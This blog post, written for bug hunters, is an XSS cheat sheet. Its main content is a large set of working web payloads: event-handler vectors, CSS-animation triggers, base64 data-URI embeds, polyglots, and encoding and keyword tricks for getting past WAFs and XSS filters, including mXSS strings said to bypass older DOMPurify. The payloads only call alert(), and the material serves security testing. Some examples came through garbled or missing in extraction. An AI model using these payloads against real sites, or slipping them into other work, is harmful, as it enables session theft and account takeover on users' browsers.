Actual XSS in 2020

Categories: bug hunting   vulnerabilities

I dislike most XSS cheat sheets out there. Many attempt to be copy-and-paste sources (and never clean up things that stopped working 10 years ago) while ignoring that in most instances where you’re doing more difficult than trivial injection literally none of it will work for one reason or another (be it WAF or a XSS filter), and if it is trivial XSS then you just need one vector and not a million.

So I wanted to make a different kind of cheat cheet. A cheet sheet of techniques and tips and a brief list of examples for them all. My goal is that even if you encounter a weird filter or WAF, something in here will likely help you or give you ideas on how to proceed in attempting injection against it. There is no way to cover literally every possible thing you can do, but I believe what I’ve managed to cover is a vast majority of the techniques still in use in 2020.

Creating this has taken 10x longer than I initially expected, but I know that this list has been useful to me, so hopefully it will be useful for you as well.

Tag-attribute separators

Sometimes filters naively assume only certain characters can separate a tag and its attributes, here’s a full list of valid separators that work in firefox and chrome:

Decimal value URL Encoded Human desc
47 %2F Foward slash
13 %0D Carriage Return
12 %0C Form Feed
10 %0A New Line
9 %09 Horizontal Tab


Basically, if you have a payload that looks like:

<svg onload=alert(1)>

You can try to replace the space between ‘svg’ and ‘onload’ with any of those chars and still work like you expect it to:

So, these are all valid HTML and will execute (demo: valid html ):

onload=alert(1)><svg> # newline char
<svg	onload=alert(1)><svg> # tab char
<svgonload=alert(1)><svg> # new page char (0xc)

JavaScript event based XSS

Good reference for more events: More HTML events

Standard HTML events

(0-click only)

Name Tags Note
onload body, iframe, img, frameset, input, script, style, link, svg Great for 0-click, but super commonly filtered
onpageshow body Great for 0-click, but appears only usable in Non-DOM injections
onfocus most tags for 0-click: use together with autofocus=””
onmouseover most tags if possible, add styling to make it as big as possible. It’s technically a 0-click if you don’t have to click, right? /s
onerror img, input, object, link, script, video, audio make sure to pass params to make it fail
onanimationstart Combine with any element that can be animated Fired then a CSS animation starts
onanimationend Combine with any element that can be animated Fires when a CSS animation ends
onstart marquee Fires on marquee animation start - Firefox only?
onfinish marquee Fires on marquee animation end - Firefox only?
ontoggle details Must have the ‘open’ attribute for 0-click


<body onload=alert()>
<img src=x onerror=alert()>
<svg onload=alert()>
<body onpageshow=alert(1)>
<div style="width:1000px;height:1000px" onmouseover=alert()></div>
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)
<marquee onstart=alert(1)> (firefox only)
<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)
<input autofocus="" onfocus=alert(1)></input>
<details open ontoggle="alert()">  (chrome & opera only)

HTML5 events

(0-click only)

Name Tags Note
onplay video, audio For 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip
onplaying video, audio For 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip
oncanplay video, audio Must link to a valid video/audio clip
onloadeddata video, audio Must link to a valid video/audio clip
onloadedmetadata video, audio Must link to a valid video/audio clip
onprogress video, audio Must link to a valid video/audio clip
onloadstart video, audio Great underexploited 0-click vector
oncanplay video, audio Must link to a valid video/audio clip


<video autoplay onloadstart="alert()" src=x></video>
<video autoplay controls onplay="alert()"><source src=""></video>
<video controls onloadeddata="alert()"><source src=""></video>
<video controls onloadedmetadata="alert()"><source src=""></video>
<video controls onloadstart="alert()"><source src=""></video>
<video controls onloadstart="alert()"><source src=x></video>
<video controls oncanplay="alert()"><source src=""></video>
<audio autoplay controls onplay="alert()"><source src=""></audio>
<audio autoplay controls onplaying="alert()"><source src=""></audio>

CSS-based events

Unfortunately, true XSS through CSS appears dead. All the vectors I’ve attempted only work on extremely old browsers. So what we’ve got is XSS that triggers based on CSS unless you feel like arguing with devs that an IE8 or old opera vulnerability is still a valid risk.

Note: Below uses style tags to set up keyframes for animation(start|end), but you can also check for already included CSS to reuse what’s already there.

<style>@keyframes x {}</style>
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

Weird XSS vectors

Just some odd/weird vectors that I don’t see mentioned often.

<svg><animate onbegin=alert() attributeName=x></svg>
<object data="data:text/html,<script>alert(5)</script>">
<iframe srcdoc="<svg onload=alert(4);>">
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>

XSS Polyglots

I use several XSS polyglots because sometimes you only have a certain # of characters to input and need a DOM or non-DOM based one. Don’t rely on these as there are circumstances they will fail, but if you’re fuzzing everything then polyglots can give okay coverage.

# chars Usage Polyglots
141 Both javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
88 Non-DOM "'--></noscript></noembed></template></title></textarea></style><script>alert()</script>
95 DOM '"--></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()>
54 Non-DOM "'>-->*/</noscript></ti tle><script>alert()</script>
42 DOM "'--></style></script><svg onload=alert()>


To attack JS Frameworks, always do research on the relevant templating language.



That payload works in most cases, but this great resource has a bunch of other recommendations for various versions you may want to try.



XSS Filter Bypasses

Parenthesis filtering

Abusing HTML parsers and JS Syntax:

<svg onload=alert`1`></svg>
<svg onload=alert&lpar;1&rpar;></svg>
<svg onload=alert&#x28;1&#x29></svg>
<svg onload=alert&#40;1&#41></svg>

Restricted charset

These 3 sites will transform valid JS to horrible monstrosities that have a good shot at bypassing a lot of filters:

Keyword filtering

Avoiding keywords:

top[8680439..toString(30)](1)  // Generated using parseInt("alert",30). Other bases also work

mXSS and DOM Clobbering

It’s basically impossible for XSS filters to correctly anticipate every way that HTML will be mutated by a browser and interacting libraries, so what happens is that you can sometimes sneak a XSS payload in as invalid HTML and the browser will correct it into a valid payload… which bypasses the filter.

mXSS paper with lots of details: here
Talk with good info on clobbering: here

mXSS payload that bypasses one of the most commonly used filters: DOMPurify <2.0.1

 <svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
 <svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg>

Double encoding

Simple enough, sometimes an application will perform XSS filtering on a string before it’s decoded once more, which leaves it open by filter bypasses. It’s pretty rare, but some bug hunters I know swear by it so I’m including it for reference.

Char Double encoded
< %253C
> %253E
( %2528
) %2529

General tips


Great other resources:

Fantastic collection of somewhat old XSS stuff
Portswigger XSS cheatsheet
Portswigger XSS through Frameworks